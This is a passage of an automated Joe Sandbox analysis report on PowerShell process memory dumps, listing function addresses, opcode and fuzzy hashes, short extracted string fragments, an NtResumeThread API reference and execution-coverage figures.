Memory Dump Source

Source File: 00000004.00000002.1755660641.0000000004C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a952e4864c0f35c79d7731c154b322ed7e2421e63958329e5e1488a76c6da60f
Instruction ID: d22e63183d2f7ec0bf0b1e2953f7a13319abd04675d24a6dc0b516cc7d20e27b
Opcode Fuzzy Hash: a952e4864c0f35c79d7731c154b322ed7e2421e63958329e5e1488a76c6da60f
Instruction Fuzzy Hash: 92A19B74A006458FCB05CF98C5949BABBF2FF88310B2485A9E955AB365C736FD41CFA0

Function 04C743E1 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1755660641.0000000004C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcd86f03a824e15ca74cd90e925d20a18cf02a4075f2014d5c6ca67ed188184c
Instruction ID: 8464f2337ce14fcf8af1b703d80c514ddb332d3301479a337536b8de7d9f26cb
Opcode Fuzzy Hash: dcd86f03a824e15ca74cd90e925d20a18cf02a4075f2014d5c6ca67ed188184c
Instruction Fuzzy Hash: CE51C734A00209EFDB05CFA8D584A9DBBB2FF88314F248559E805AB365C771ED82DF90

Function 04C73100 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1755660641.0000000004C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48c1e6186571c09cc4aa988c7fdd62ea72e9e67ea20e2a9634b57ed2ad01eb51
Instruction ID: d7f88a77e20e62c7c8b2b35a5e6dbe2fa74acb79bf1c626c0e50b2747fef18d0
Opcode Fuzzy Hash: 48c1e6186571c09cc4aa988c7fdd62ea72e9e67ea20e2a9634b57ed2ad01eb51
Instruction Fuzzy Hash: A44157B4A005458FCB09CF98C5989BAFBB2FF48310B158699D955AB365C336FD50CFA0

Function 04C74088 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1755660641.0000000004C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6ed0354b9ba15e959fba0f9398a1e98acf1e859257fcc9c590c19d38f57ca48
Instruction ID: 6217a912c71c02dde413d82d51bf13909ada2c344364b86c2c3e93e2e76f1ee1
Opcode Fuzzy Hash: a6ed0354b9ba15e959fba0f9398a1e98acf1e859257fcc9c590c19d38f57ca48
Instruction Fuzzy Hash: 4C411B74A006458FCB14CF9CC9949AEBBF2FF89310B248669E915EB365C331EC41CB94

Function 04C74960 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1755660641.0000000004C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd2f4cd21e87fffc9f24a359b1924c60ff50de38a9c975b4d1f23f284de3e78e
Instruction ID: eff4f7ba23226bd373271ff93434692ab63a6be4d3091d60895f157470050b37
Opcode Fuzzy Hash: cd2f4cd21e87fffc9f24a359b1924c60ff50de38a9c975b4d1f23f284de3e78e
Instruction Fuzzy Hash: 6D311974A001099FCB08CF59C5849AABBF2FF89310B258699E458EB755D731FD81CBA4

Function 04C74500 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1755660641.0000000004C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4f58dd8198e2dab8b2a9b5d6e176be4d740ad99151f7a85f7d3690f7ea20f67
Instruction ID: 22dcf4822c4b2ce02f33647e78fda8eb150328399900b5b6a8d3bfb3846215a1
Opcode Fuzzy Hash: e4f58dd8198e2dab8b2a9b5d6e176be4d740ad99151f7a85f7d3690f7ea20f67
Instruction Fuzzy Hash: 5311C334A40249EFCB45CFA8D884E9DFBB2FF48314F288158E405AB365C771E982DB90

Function 04C7979B Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1755660641.0000000004C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c37f8d1045af545f0967cf6a9f9d81033660f107edb5e5b1174b86d4d54dfad3
Instruction ID: 4b1494804fdcfc52bda84bf52c8cef3ed104a407fc1e96146d91ce9a4d724595
Opcode Fuzzy Hash: c37f8d1045af545f0967cf6a9f9d81033660f107edb5e5b1174b86d4d54dfad3
Instruction Fuzzy Hash: E3115275A402488FCB04DFA4D850AEDBFB2FF89314F144599E905AB361DB31AC41CF91

Function 04C0D005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1754289848.0000000004C0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c0d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 973292307b1c10131b5c6e81412b8620f82681ebed7c39bd18b37f57a6e75276
Instruction ID: 7172336d0155ab9ad2c4c091683cab66fa92e0ef6a965865e925e9cb6b368fb1
Opcode Fuzzy Hash: 973292307b1c10131b5c6e81412b8620f82681ebed7c39bd18b37f57a6e75276
Instruction Fuzzy Hash: 00014C6140E3C09ED7128B259894B52BFB4EF53228F1DC1DBD8888F1E3C2699849C772

Function 04C0D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1754289848.0000000004C0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c0d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfce83decf95e3e600a6370bb5ce66888b337cf002ab538e1aeb9d5b6376e88a
Instruction ID: 1f57493bbcf002714f9ae3f6c98c99eba679baf088f0a652af3bf1b859cf9af1
Opcode Fuzzy Hash: dfce83decf95e3e600a6370bb5ce66888b337cf002ab538e1aeb9d5b6376e88a
Instruction Fuzzy Hash: D701F7715093009AE7104E66D9C4767BF9DEF41328F1CC529EC4E4A1C6C679E981C6B1

Function 04C797CB Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1755660641.0000000004C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de38cd336340776e27bc954a939f03f53d10dbc7efc1cafae8a7c29c13a3fa51
Instruction ID: 09884f8a9eb1e0baf31bab783d25729ad6063c38f0d05ef2ff97a2646a4b70c7
Opcode Fuzzy Hash: de38cd336340776e27bc954a939f03f53d10dbc7efc1cafae8a7c29c13a3fa51
Instruction Fuzzy Hash: D2E0EDB4D1820A9FCF48DFB994425FEBFF1AB08200F1086AFD829E7314E63806018F95

Function 04C797D8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1755660641.0000000004C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be9b5ca52dfd43dcb22877d0437667904c67ea9b20dd08bbc475da447ff9f143
Instruction ID: 02a9c537de442dea8186fc273195e41373223cb273e2f6047bcfa7412e12d0a9
Opcode Fuzzy Hash: be9b5ca52dfd43dcb22877d0437667904c67ea9b20dd08bbc475da447ff9f143
Instruction Fuzzy Hash: 80E026B4E1430E9F9F48DFB995425BEFBF5AB48200F10856E9819E3340E63856518FE5

Analysis Process: powershell.exePID: 7692, Parent PID: 7572COMMON

Execution Graph

Execution Coverage:	2.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	32.1%
Total number of Nodes:	81
Total number of Limit Nodes:	9

Executed Functions

Function 07801C54 Relevance: 2.6, APIs: 1, Instructions: 1067
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtResumeThread.NTDLL(?,?), ref: 078020D6

Memory Dump Source

Source File: 00000006.00000002.2721987485.0000000007800000.00000040.00000800.00020000.00000000.sdmp, Offset: 07800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7800000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 92c1953e169db030fd8d25c4fa10d1da7057c7ffe054a06596b9cf325a6c45ab
Instruction ID: fd0b714fd95ee768b91ba69ce3c73268518b24f63a54302071f977f72e65a366
Opcode Fuzzy Hash: 92c1953e169db030fd8d25c4fa10d1da7057c7ffe054a06596b9cf325a6c45ab
Instruction Fuzzy Hash: B921A2B1D083888FCB11DFADC8546DEFFF4AF4A224F14845ED098AB252C6749549CBA5

Function 07802068 Relevance: 1.6, APIs: 1, Instructions: 54nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 078020D6

Memory Dump Source

Source File: 00000006.00000002.2721987485.0000000007800000.00000040.00000800.00020000.00000000.sdmp, Offset: 07800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7800000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 651609ffb622df9d46adfa1541eb646a97d525e71867ad9a7cd45f73b79d2fc4
Instruction ID: 2750084876c530171a617e56cfcca07de1026febde98d0ef663ccabcba4af144
Opcode Fuzzy Hash: 651609ffb622df9d46adfa1541eb646a97d525e71867ad9a7cd45f73b79d2fc4
Instruction Fuzzy Hash: 2A1106B1D003098FDB10DFAAC84479EFBF4FB48320F50842AD459A7250CB74A945CFA5

Function 077FC73F Relevance: 1.5, Strings: 1, Instructions: 288COMMON

Download Yara Rule

Strings

PH^q, xrefs: 077FCB19

Memory Dump Source

Source File: 00000006.00000002.2721872316.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77f0000_powershell.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: e8f162785b027fd1ec424c62490ea3744ecf98526fb4ca75bd38f93a22e323d3
Instruction ID: 4a2d6c0c69053dad8da016e688cd24cca20fefb1a0db61154cefc497484bf37c
Opcode Fuzzy Hash: e8f162785b027fd1ec424c62490ea3744ecf98526fb4ca75bd38f93a22e323d3
Instruction Fuzzy Hash: B4D137B8E0521CCFDB25CFA9C944B9DBBF2BB49340F1081A9C109AB355DB785988CF61

Function 077FA440 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2721872316.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe568b27f74a66cfcfc1c4c2b3f5c8c72fee31c8db50e97c9782078474da274c
Instruction ID: 41bbca9cac0d5a5b8c98e19bc66337c92251bf0fd338f73df1ba2a6b247738b1
Opcode Fuzzy Hash: fe568b27f74a66cfcfc1c4c2b3f5c8c72fee31c8db50e97c9782078474da274c
Instruction Fuzzy Hash: 519124B8A15218CFDB14DFA9D548BADB7F2FF8A340F118169D109AB391DB349886CF50

Function 077FA450 Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2721872316.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3f29e69b35fe645c320672d73a80c7539da01efec1efdb1b979cbce1d8dc029
Instruction ID: 74a213f38555167e2595b933c7a3d0f0f1ff072f621d01b7c8068e33e636818f
Opcode Fuzzy Hash: e3f29e69b35fe645c320672d73a80c7539da01efec1efdb1b979cbce1d8dc029
Instruction Fuzzy Hash: A68133B4A14218CFDB14DFA8D548BADB7F6FF8A340F118169D209AB391DB349885CF50

Function 077FA691 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2721872316.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3baf05245558751f87d15c81f91b000bbbf31c76930b9438fbce6f7a7699c7b9
Instruction ID: 476eb0d2da467dc047cff4a5210f79c8d226296e42f5566b964b75c5903ecf7a
Opcode Fuzzy Hash: 3baf05245558751f87d15c81f91b000bbbf31c76930b9438fbce6f7a7699c7b9
Instruction Fuzzy Hash: D27134B8A01218CFDB14DFA8D544BADB7F2FF8A340F10816AD209AB350DB349886CF50

Function 07BF78D0 Relevance: 31.4, Strings: 24, Instructions: 1417COMMON

Download Yara Rule

Strings

$^q, xrefs: 07BF885F
x.~h, xrefs: 07BF7E1A
$^q, xrefs: 07BF87D4
$^q, xrefs: 07BF8477
4'^q, xrefs: 07BF887B
$^q, xrefs: 07BF880E
4'^q, xrefs: 07BF84A6
$^q, xrefs: 07BF827A
$^q, xrefs: 07BF845B
4'^q, xrefs: 07BF8887
4'^q, xrefs: 07BF7DDE
4'^q, xrefs: 07BF82D7
$^q, xrefs: 07BF8483
$ai, xrefs: 07BF8149
4'^q, xrefs: 07BF8661
$^q, xrefs: 07BF8853
$^q, xrefs: 07BF8288
$^q, xrefs: 07BF87FE
4'^q, xrefs: 07BF8655
4'^q, xrefs: 07BF7DD2
$^q, xrefs: 07BF8255
$^q, xrefs: 07BF87B3
4'^q, xrefs: 07BF82E3
4'^q, xrefs: 07BF849A

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: $ai$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$x.~h$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3590733573
Opcode ID: 8da19e87c05fa47ef525c38596e212c246a400b0c903984b0b121aecda1e4356
Instruction ID: a8458f6d55f76948adcb473f244fedb75c8ccab383dea8b25f12db9d40757ffb
Opcode Fuzzy Hash: 8da19e87c05fa47ef525c38596e212c246a400b0c903984b0b121aecda1e4356
Instruction Fuzzy Hash: 5BB2F8F0B00205DFEB14CF68C944A6ABBE6EF85B10F54C4AAD605DB355DB32D849CB91

Function 07BF66E0 Relevance: 25.7, Strings: 20, Instructions: 700COMMON

Download Yara Rule

Strings

$^q, xrefs: 07BF69E9
$^q, xrefs: 07BF6C05
$^q, xrefs: 07BF67C8
$^q, xrefs: 07BF6BF5
tP^q, xrefs: 07BF6A40
4'^q, xrefs: 07BF68AE
4'^q, xrefs: 07BF6D91
$^q, xrefs: 07BF6854
$^q, xrefs: 07BF6864
(o^q, xrefs: 07BF6C30
tP^q, xrefs: 07BF6A34
4'^q, xrefs: 07BF68A2
$^q, xrefs: 07BF6BCE
4'^q, xrefs: 07BF6D85
$^q, xrefs: 07BF6786
tP^q, xrefs: 07BF6DE7
$^q, xrefs: 07BF67FF
$^q, xrefs: 07BF67EF
tP^q, xrefs: 07BF6DDB
(o^q, xrefs: 07BF6C40

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$4'^q$4'^q$4'^q$4'^q$tP^q$tP^q$tP^q$tP^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2087719723
Opcode ID: a513657a14a6af921d9c49a707ceeeb30c7a42bee649d0393164a811fbcfa74f
Instruction ID: eb3289f660f1038bac12d98db60f2da08312064549771bb92aa39ff8d7e420a9
Opcode Fuzzy Hash: a513657a14a6af921d9c49a707ceeeb30c7a42bee649d0393164a811fbcfa74f
Instruction Fuzzy Hash: 6F322BF170020ADFEB148F68C94476A7BA1EF85B18F1484EAEE458F291DB31DC49C7A1

Function 07BF1828 Relevance: 22.3, Strings: 17, Instructions: 1081COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07BF1C9D
4'^q, xrefs: 07BF1C91
$^q, xrefs: 07BF1B09
1}h, xrefs: 07BF238E
4'^q, xrefs: 07BF1E0C
$^q, xrefs: 07BF1F8E
4'^q, xrefs: 07BF19FD
$^q, xrefs: 07BF1AFB
4'^q, xrefs: 07BF19F1
$^q, xrefs: 07BF1869
$^q, xrefs: 07BF1ADA
$^q, xrefs: 07BF21F2
4'^q, xrefs: 07BF1E18
$^q, xrefs: 07BF185B
$^q, xrefs: 07BF183A
$^q, xrefs: 07BF1F84
$^q, xrefs: 07BF21E8

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$1}h
API String ID: 0-3343704238
Opcode ID: a5bc8c1555e982ddc90d8f851ac7b33d62ad2d86baae94e77c5fb44219747d78
Instruction ID: fe90b7acb8a99516366558041e1c03f8af3ea3b9d4b4aff2a7b9b0410e611473
Opcode Fuzzy Hash: a5bc8c1555e982ddc90d8f851ac7b33d62ad2d86baae94e77c5fb44219747d78
Instruction Fuzzy Hash: 7D723AF1B0424DCFE7148B6D98146AABBA5EF85A10F1488EBD645CF352DA32C84DC7A1

Function 07BFA970 Relevance: 16.7, Strings: 13, Instructions: 418
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 07BFAA5C
4'^q, xrefs: 07BFACEB
$^q, xrefs: 07BFAA9C
$^q, xrefs: 07BFAA4E
$^q, xrefs: 07BFAA10
$^q, xrefs: 07BFAAAC
4'^q, xrefs: 07BFAADE
$^q, xrefs: 07BFAA2C
$^q, xrefs: 07BFAC6E
4'^q, xrefs: 07BFACDF
4'^q, xrefs: 07BFAAEA
$^q, xrefs: 07BFAC60
$^q, xrefs: 07BFAC3B

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2118039658
Opcode ID: 0522d3f61939dbb27061f8d19c26e9981390c19b798b60a385163491ce23c180
Instruction ID: cc6795e282aa6785cf493b3ca93b8e923de88f9776ebf5c9c6b13fcc3e689b46
Opcode Fuzzy Hash: 0522d3f61939dbb27061f8d19c26e9981390c19b798b60a385163491ce23c180
Instruction Fuzzy Hash: 14D1F9F5B042068FEB1C8F69C940666BBE6EF86A10F14C4AEDA098F355DB31D84DC791

Function 07BF32B0 Relevance: 13.1, Strings: 10, Instructions: 580
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 07BF366B
$^q, xrefs: 07BF3826
$^q, xrefs: 07BF333F
$^q, xrefs: 07BF3349
$^q, xrefs: 07BF37CA
4'^q, xrefs: 07BF352C
4'^q, xrefs: 07BF3520
$^q, xrefs: 07BF37C0
$^q, xrefs: 07BF381C
$^q, xrefs: 07BF32FB

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2280548817
Opcode ID: 9e13bf5d9b1cc835bd699e3cb3e182df037ae4780d2f6f61d3f813a50964e40c
Instruction ID: 9cb67af071222e65e96d25b9c3c4d298bd3c0b8e4aacc904dd70273a93840082
Opcode Fuzzy Hash: 9e13bf5d9b1cc835bd699e3cb3e182df037ae4780d2f6f61d3f813a50964e40c
Instruction Fuzzy Hash: F30249F1B042459FE7159B78980476ABBE6EFC2B10F1484AED605CB392DE36C84DC7A1

Function 07750048 Relevance: 10.9, Strings: 8, Instructions: 902COMMON

Download Yara Rule

Strings

x.~h, xrefs: 07750AE8
4'^q, xrefs: 077509EB
4'^q, xrefs: 07750A79
-~h, xrefs: 07750B39
tP^q, xrefs: 0775030A
4'^q, xrefs: 077509D5
tP^q, xrefs: 077502FE
4'^q, xrefs: 07750A8F

Memory Dump Source

Source File: 00000006.00000002.2720857155.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7750000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$tP^q$tP^q$x.~h$-~h
API String ID: 0-1489227000
Opcode ID: e3fc1f6dca0735e29f8cfb2dfdfad5af23241f9c2b1f1337eb977dfa9967fca5
Instruction ID: 7cd2e393316eeba4cba23bacd63871ce82479b509b96889082d8a5c66f5cef4a
Opcode Fuzzy Hash: e3fc1f6dca0735e29f8cfb2dfdfad5af23241f9c2b1f1337eb977dfa9967fca5
Instruction Fuzzy Hash: 8B72C074B00219CFDB14CF68C944BAEBBB2BB85340F5489A9D809AB351DB71ED85CB91

Function 07BF08F8 Relevance: 9.2, Strings: 7, Instructions: 485
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 07BF0D3E
4'^q, xrefs: 07BF0A8F
4'^q, xrefs: 07BF0D34
$^q, xrefs: 07BF0B6A
$^q, xrefs: 07BF0B99
$^q, xrefs: 07BF0B8B
4'^q, xrefs: 07BF0A85

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$$^q$$^q$$^q
API String ID: 0-3199432138
Opcode ID: 5c66b889d6d1757448b61af4fa72da4a4637f2362b937b4655f2dd2f2b0f83e8
Instruction ID: b1f9f45e3fcfa8c7183fdcd7d4b030b044ca3c99cc18d69fcbb8f24f94165bb7
Opcode Fuzzy Hash: 5c66b889d6d1757448b61af4fa72da4a4637f2362b937b4655f2dd2f2b0f83e8
Instruction Fuzzy Hash: DFF11CF57042068FEB14AA6D980076ABBE5EFC5610F14C4BBDA05CB367EA31D84DC7A1

Function 07BF78B1 Relevance: 4.2, Strings: 3, Instructions: 466COMMON

Download Yara Rule

Strings

a, xrefs: 07BF78B8
x.~h, xrefs: 07BF7E1A
4'^q, xrefs: 07BF7DD2

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$a$x.~h
API String ID: 0-642354190
Opcode ID: b8aca0fc77087e810040193262998245a28959e8ed7c39856164f15956297c37
Instruction ID: 5c0bfb6447af3bdd9d39c6dc3b54845488d24fb8d8fe793c9d4f9e8af4c68226
Opcode Fuzzy Hash: b8aca0fc77087e810040193262998245a28959e8ed7c39856164f15956297c37
Instruction Fuzzy Hash: B7125EB4A01205DFEB14CF58C954E69B7B2FF85B14F95C0A9E909AB355CB32EC4ACB40

Function 07BF5388 Relevance: 3.9, Strings: 3, Instructions: 171
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 07BF53C9
$^q, xrefs: 07BF539A
$^q, xrefs: 07BF53BB

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q
API String ID: 0-831282457
Opcode ID: 66a52318fe07509e77239276f39882e4913245e394619b9b983048208912f1a9
Instruction ID: 98122a1897919dcc8b193e805dde5000169e18e489be5288932ed9b0aa6251bc
Opcode Fuzzy Hash: 66a52318fe07509e77239276f39882e4913245e394619b9b983048208912f1a9
Instruction Fuzzy Hash: 905149F170420A9BE7345A6D9804A26F7A6EFC1A11F34C4AEEA05CF355DE72D819C750

Function 07BF7E8D Relevance: 3.0, Strings: 2, Instructions: 475COMMON

Download Yara Rule

Strings

x.~h, xrefs: 07BF7E1A
4'^q, xrefs: 07BF7DD2

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$x.~h
API String ID: 0-2403300862
Opcode ID: 7658804e706ad117a567827a0f1b483b12060cf82c392bfeb7860342b18f0261
Instruction ID: 2c09845de14ff6696f3b70ca5227e87e51264106463cac767a4d1ab9b2fca3bd
Opcode Fuzzy Hash: 7658804e706ad117a567827a0f1b483b12060cf82c392bfeb7860342b18f0261
Instruction Fuzzy Hash: 3F1271B4B01205DFEB14CF58C950E69B7B2EF85B14F94C0A9E909AB355CB32ED4ACB50

Function 07758B5E Relevance: 2.8, Strings: 2, Instructions: 338
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 07758ED1
4'^q, xrefs: 07758EDD

Memory Dump Source

Source File: 00000006.00000002.2720857155.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7750000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: cd1fd7072c5c3cf706ec22e4292a67e75acda8a7a5b9f46df5428c1e862a3729
Instruction ID: 149ad26b60a73268e26f91530c460dda56dd37452e29c7069ddff3185e81ea26
Opcode Fuzzy Hash: cd1fd7072c5c3cf706ec22e4292a67e75acda8a7a5b9f46df5428c1e862a3729
Instruction Fuzzy Hash: E4B124B1B002099FCB14DF68D4406AEBBE6AFC9350F1488AAED05DF351DB71DD4587A2

Function 07BF328F Relevance: 2.6, Strings: 2, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 07BF333F
$^q, xrefs: 07BF32FB

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: 38f8e075c538e0356099f6e734c45b6429f7e82da641c2976b229dc484a7f591
Instruction ID: 4a5cbcb14663aa5d70d756814a8d4f21974ee4d42e96444ae240b07d979f3544
Opcode Fuzzy Hash: 38f8e075c538e0356099f6e734c45b6429f7e82da641c2976b229dc484a7f591
Instruction Fuzzy Hash: D021E7F97042019FFB158A15D851B66BBF5EB81B10F48809ADA05CF2D2DF35D94CC7A2

Function 07BF536D Relevance: 2.6, Strings: 2, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 07BF539A
$^q, xrefs: 07BF53BB

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: a150416c5385097a9b14ea8e6b08269d5d0ea93ae6beae84cb1ea7c93ace39c1
